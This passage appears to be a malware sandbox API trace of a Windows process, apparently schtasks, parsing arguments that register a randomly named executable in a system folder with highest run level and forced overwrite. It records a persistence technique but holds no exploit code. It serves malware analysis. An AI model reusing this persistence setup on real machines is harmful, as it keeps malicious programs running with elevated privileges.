NT\\Accessories\\en-US\\yardadultbehind.exe'" [0162.556] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.556] GetProcessHeap () returned 0x170000 [0162.556] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c360 [0162.556] _memicmp (_Buf1=0x18c360, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.556] GetProcessHeap () returned 0x170000 [0162.556] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18c380 [0162.556] GetProcessHeap () returned 0x170000 [0162.556] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c3a0 [0162.556] _memicmp (_Buf1=0x18c3a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.556] GetProcessHeap () returned 0x170000 [0162.556] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8a) returned 0x18c3c0 [0162.556] SetLastError (dwErrCode=0x7a) [0162.556] SetLastError (dwErrCode=0x0) [0162.556] SetLastError (dwErrCode=0x0) [0162.556] lstrlenW (lpString="'C") returned 2 [0162.556] lstrlenW (lpString="-/") returned 2 [0162.556] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0162.556] SetLastError (dwErrCode=0x490) [0162.556] SetLastError (dwErrCode=0x490) [0162.556] SetLastError (dwErrCode=0x0) [0162.556] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.556] GetProcessHeap () returned 0x170000 [0162.556] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x88) returned 0x18c460 [0162.557] GetProcessHeap () returned 0x170000 [0162.557] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdc0 [0162.557] SetLastError (dwErrCode=0x0) [0162.557] SetLastError (dwErrCode=0x0) [0162.557] lstrlenW (lpString="/rl") returned 3 [0162.557] lstrlenW (lpString="-/") returned 2 [0162.557] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.557] lstrlenW (lpString="?") returned 1 [0162.557] lstrlenW (lpString="?") returned 1 [0162.557] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.557] lstrlenW (lpString="rl") returned 2 [0162.557] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.557] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.557] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.557] lstrlenW (lpString="|?|") returned 3 [0162.557] lstrlenW (lpString="|rl|") returned 4 [0162.557] SetLastError (dwErrCode=0x490) [0162.557] lstrlenW (lpString="create") returned 6 [0162.557] lstrlenW (lpString="create") returned 6 [0162.557] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.557] lstrlenW (lpString="rl") returned 2 [0162.557] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.557] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.557] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.557] lstrlenW (lpString="|create|") returned 8 [0162.557] lstrlenW (lpString="|rl|") returned 4 [0162.557] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0162.557] SetLastError (dwErrCode=0x490) [0162.557] lstrlenW (lpString="delete") returned 6 [0162.557] lstrlenW (lpString="delete") returned 6 [0162.557] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.557] lstrlenW (lpString="rl") returned 2 [0162.557] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.557] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|delete|") returned 8 [0162.558] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.558] lstrlenW (lpString="|delete|") returned 8 [0162.558] lstrlenW (lpString="|rl|") returned 4 [0162.558] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0162.558] SetLastError (dwErrCode=0x490) [0162.558] lstrlenW (lpString="query") returned 5 [0162.558] lstrlenW (lpString="query") returned 5 [0162.558] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.558] lstrlenW (lpString="rl") returned 2 [0162.558] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.558] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|query|") returned 7 [0162.558] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.558] lstrlenW (lpString="|query|") returned 7 [0162.558] lstrlenW (lpString="|rl|") returned 4 [0162.558] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0162.558] SetLastError (dwErrCode=0x490) [0162.558] lstrlenW (lpString="change") returned 6 [0162.558] lstrlenW (lpString="change") returned 6 [0162.558] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.558] lstrlenW (lpString="rl") returned 2 [0162.558] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.558] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|change|") returned 8 [0162.558] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.558] lstrlenW (lpString="|change|") returned 8 [0162.558] lstrlenW (lpString="|rl|") returned 4 [0162.558] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0162.558] SetLastError (dwErrCode=0x490) [0162.558] lstrlenW (lpString="run") returned 3 [0162.558] lstrlenW (lpString="run") returned 3 [0162.558] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.559] lstrlenW (lpString="rl") returned 2 [0162.559] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.559] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|run|") returned 5 [0162.559] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.559] lstrlenW (lpString="|run|") returned 5 [0162.559] lstrlenW (lpString="|rl|") returned 4 [0162.559] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0162.559] SetLastError (dwErrCode=0x490) [0162.559] lstrlenW (lpString="end") returned 3 [0162.559] lstrlenW (lpString="end") returned 3 [0162.559] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.559] lstrlenW (lpString="rl") returned 2 [0162.559] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.559] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|end|") returned 5 [0162.559] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.559] lstrlenW (lpString="|end|") returned 5 [0162.559] lstrlenW (lpString="|rl|") returned 4 [0162.559] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0162.559] SetLastError (dwErrCode=0x490) [0162.559] lstrlenW (lpString="showsid") returned 7 [0162.559] lstrlenW (lpString="showsid") returned 7 [0162.559] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.559] lstrlenW (lpString="rl") returned 2 [0162.559] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.559] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|showsid|") returned 9 [0162.559] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|rl|") returned 4 [0162.559] lstrlenW (lpString="|showsid|") returned 9 [0162.559] lstrlenW (lpString="|rl|") returned 4 [0162.559] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0162.559] SetLastError (dwErrCode=0x490) [0162.559] SetLastError (dwErrCode=0x490) [0162.559] SetLastError (dwErrCode=0x0) [0162.559] lstrlenW (lpString="/rl") returned 3 [0162.560] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0162.560] SetLastError (dwErrCode=0x490) [0162.560] SetLastError (dwErrCode=0x0) [0162.560] lstrlenW (lpString="/rl") returned 3 [0162.560] GetProcessHeap () returned 0x170000 [0162.560] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c4f0 [0162.560] GetProcessHeap () returned 0x170000 [0162.560] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdf0 [0162.560] SetLastError (dwErrCode=0x0) [0162.560] SetLastError (dwErrCode=0x0) [0162.560] lstrlenW (lpString="HIGHEST") returned 7 [0162.560] lstrlenW (lpString="-/") returned 2 [0162.560] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0162.560] SetLastError (dwErrCode=0x490) [0162.560] SetLastError (dwErrCode=0x490) [0162.560] SetLastError (dwErrCode=0x0) [0162.560] lstrlenW (lpString="HIGHEST") returned 7 [0162.560] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0162.560] SetLastError (dwErrCode=0x490) [0162.560] SetLastError (dwErrCode=0x0) [0162.560] lstrlenW (lpString="HIGHEST") returned 7 [0162.560] GetProcessHeap () returned 0x170000 [0162.560] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d530 [0162.560] GetProcessHeap () returned 0x170000 [0162.560] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce20 [0162.560] SetLastError (dwErrCode=0x0) [0162.560] SetLastError (dwErrCode=0x0) [0162.560] lstrlenW (lpString="/f") returned 2 [0162.560] lstrlenW (lpString="-/") returned 2 [0162.560] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.560] lstrlenW (lpString="?") returned 1 [0162.560] lstrlenW (lpString="?") returned 1 [0162.560] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.561] lstrlenW (lpString="f") returned 1 [0162.561] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.561] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.561] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.561] lstrlenW (lpString="|?|") returned 3 [0162.561] lstrlenW (lpString="|f|") returned 3 [0162.561] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0162.561] SetLastError (dwErrCode=0x490) [0162.561] lstrlenW (lpString="create") returned 6 [0162.561] lstrlenW (lpString="create") returned 6 [0162.561] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.561] lstrlenW (lpString="f") returned 1 [0162.561] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.561] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.561] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.561] lstrlenW (lpString="|create|") returned 8 [0162.561] lstrlenW (lpString="|f|") returned 3 [0162.561] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0162.561] SetLastError (dwErrCode=0x490) [0162.561] lstrlenW (lpString="delete") returned 6 [0162.561] lstrlenW (lpString="delete") returned 6 [0162.561] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.561] lstrlenW (lpString="f") returned 1 [0162.561] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.561] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|delete|") returned 8 [0162.561] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.561] lstrlenW (lpString="|delete|") returned 8 [0162.561] lstrlenW (lpString="|f|") returned 3 [0162.561] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0162.562] SetLastError (dwErrCode=0x490) [0162.562] lstrlenW (lpString="query") returned 5 [0162.562] lstrlenW (lpString="query") returned 5 [0162.562] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.562] lstrlenW (lpString="f") returned 1 [0162.562] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.562] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|query|") returned 7 [0162.562] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.562] lstrlenW (lpString="|query|") returned 7 [0162.562] lstrlenW (lpString="|f|") returned 3 [0162.562] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0162.562] SetLastError (dwErrCode=0x490) [0162.562] lstrlenW (lpString="change") returned 6 [0162.562] lstrlenW (lpString="change") returned 6 [0162.562] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.562] lstrlenW (lpString="f") returned 1 [0162.562] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.562] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|change|") returned 8 [0162.562] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.562] lstrlenW (lpString="|change|") returned 8 [0162.562] lstrlenW (lpString="|f|") returned 3 [0162.562] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0162.562] SetLastError (dwErrCode=0x490) [0162.562] lstrlenW (lpString="run") returned 3 [0162.562] lstrlenW (lpString="run") returned 3 [0162.562] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.562] lstrlenW (lpString="f") returned 1 [0162.562] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.563] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|run|") returned 5 [0162.563] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.563] lstrlenW (lpString="|run|") returned 5 [0162.563] lstrlenW (lpString="|f|") returned 3 [0162.563] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0162.563] SetLastError (dwErrCode=0x490) [0162.563] lstrlenW (lpString="end") returned 3 [0162.563] lstrlenW (lpString="end") returned 3 [0162.563] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.563] lstrlenW (lpString="f") returned 1 [0162.563] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.563] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|end|") returned 5 [0162.563] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.563] lstrlenW (lpString="|end|") returned 5 [0162.563] lstrlenW (lpString="|f|") returned 3 [0162.563] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0162.563] SetLastError (dwErrCode=0x490) [0162.563] lstrlenW (lpString="showsid") returned 7 [0162.563] lstrlenW (lpString="showsid") returned 7 [0162.563] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.563] lstrlenW (lpString="f") returned 1 [0162.563] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.563] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|showsid|") returned 9 [0162.563] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|f|") returned 3 [0162.563] lstrlenW (lpString="|showsid|") returned 9 [0162.563] lstrlenW (lpString="|f|") returned 3 [0162.564] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0162.564] SetLastError (dwErrCode=0x490) [0162.564] SetLastError (dwErrCode=0x490) [0162.564] SetLastError (dwErrCode=0x0) [0162.564] lstrlenW (lpString="/f") returned 2 [0162.564] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0162.564] SetLastError (dwErrCode=0x490) [0162.564] SetLastError (dwErrCode=0x0) [0162.564] lstrlenW (lpString="/f") returned 2 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x18dd00 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce50 [0162.564] SetLastError (dwErrCode=0x0) [0162.564] GetProcessHeap () returned 0x170000 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c230) returned 1 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c230) returned 0x8 [0162.564] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c230 | out: hHeap=0x170000) returned 1 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc40) returned 1 [0162.564] GetProcessHeap () returned 0x170000 [0162.564] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cc40) returned 0x20 [0162.565] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc40 | out: hHeap=0x170000) returned 1 [0162.565] GetProcessHeap () returned 0x170000 [0162.565] GetProcessHeap () returned 0x170000 [0162.565] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc70) returned 1 [0162.565] GetProcessHeap () returned 0x170000 [0162.565] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cc70) returned 0x22 [0162.565] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc70 | out: hHeap=0x170000) returned 1 [0162.565] GetProcessHeap () returned 0x170000 [0162.565] GetProcessHeap () returned 0x170000 [0162.565] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cca0) returned 1 [0162.565] GetProcessHeap () returned 0x170000 [0162.565] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cca0) returned 0x20 [0162.566] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cca0 | out: hHeap=0x170000) returned 1 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2c0) returned 1 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c2c0) returned 0x8 [0162.566] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2c0 | out: hHeap=0x170000) returned 1 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccd0) returned 1 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ccd0) returned 0x20 [0162.566] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccd0 | out: hHeap=0x170000) returned 1 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] GetProcessHeap () returned 0x170000 [0162.566] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2e0) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c2e0) returned 0xe [0162.567] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2e0 | out: hHeap=0x170000) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd00) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd00) returned 0x20 [0162.567] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd00 | out: hHeap=0x170000) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c300) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c300) returned 0x8 [0162.567] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c300 | out: hHeap=0x170000) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] GetProcessHeap () returned 0x170000 [0162.567] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd30) returned 1 [0162.567] GetProcessHeap () returned 0x170000 [0162.568] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd30) returned 0x20 [0162.568] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd30 | out: hHeap=0x170000) returned 1 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c320) returned 1 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c320) returned 0x6 [0162.568] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c320 | out: hHeap=0x170000) returned 1 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd60) returned 1 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd60) returned 0x20 [0162.568] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd60 | out: hHeap=0x170000) returned 1 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] GetProcessHeap () returned 0x170000 [0162.568] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c340) returned 1 [0162.568] GetProcessHeap () returned 0x170000 [0162.569] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c340) returned 0x8 [0162.569] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c340 | out: hHeap=0x170000) returned 1 [0162.569] GetProcessHeap () returned 0x170000 [0162.569] GetProcessHeap () returned 0x170000 [0162.569] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd90) returned 1 [0162.569] GetProcessHeap () returned 0x170000 [0162.569] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd90) returned 0x20 [0162.569] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd90 | out: hHeap=0x170000) returned 1 [0162.569] GetProcessHeap () returned 0x170000 [0162.569] GetProcessHeap () returned 0x170000 [0162.569] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c460) returned 1 [0162.569] GetProcessHeap () returned 0x170000 [0162.569] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c460) returned 0x88 [0162.569] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c460 | out: hHeap=0x170000) returned 1 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdc0) returned 1 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdc0) returned 0x20 [0162.570] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdc0 | out: hHeap=0x170000) returned 1 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4f0) returned 1 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c4f0) returned 0x8 [0162.570] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4f0 | out: hHeap=0x170000) returned 1 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdf0) returned 1 [0162.570] GetProcessHeap () returned 0x170000 [0162.570] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdf0) returned 0x20 [0162.571] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdf0 | out: hHeap=0x170000) returned 1 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d530) returned 1 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d530) returned 0x10 [0162.571] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d530 | out: hHeap=0x170000) returned 1 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce20) returned 1 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce20) returned 0x20 [0162.571] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce20 | out: hHeap=0x170000) returned 1 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] GetProcessHeap () returned 0x170000 [0162.571] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18dd00) returned 1 [0162.571] GetProcessHeap () returned 0x170000 [0162.572] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18dd00) returned 0x6 [0162.572] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18dd00 | out: hHeap=0x170000) returned 1 [0162.572] GetProcessHeap () returned 0x170000 [0162.572] GetProcessHeap () returned 0x170000 [0162.572] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce50) returned 1 [0162.572] GetProcessHeap () returned 0x170000 [0162.572] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce50) returned 0x20 [0162.572] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce50 | out: hHeap=0x170000) returned 1 [0162.572] GetProcessHeap () returned 0x170000 [0162.572] GetProcessHeap () returned 0x170000 [0162.572] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1854a0) returned 1 [0162.572] GetProcessHeap () returned 0x170000 [0162.572] RtlSizeHeap (HeapHandle=0x170000, 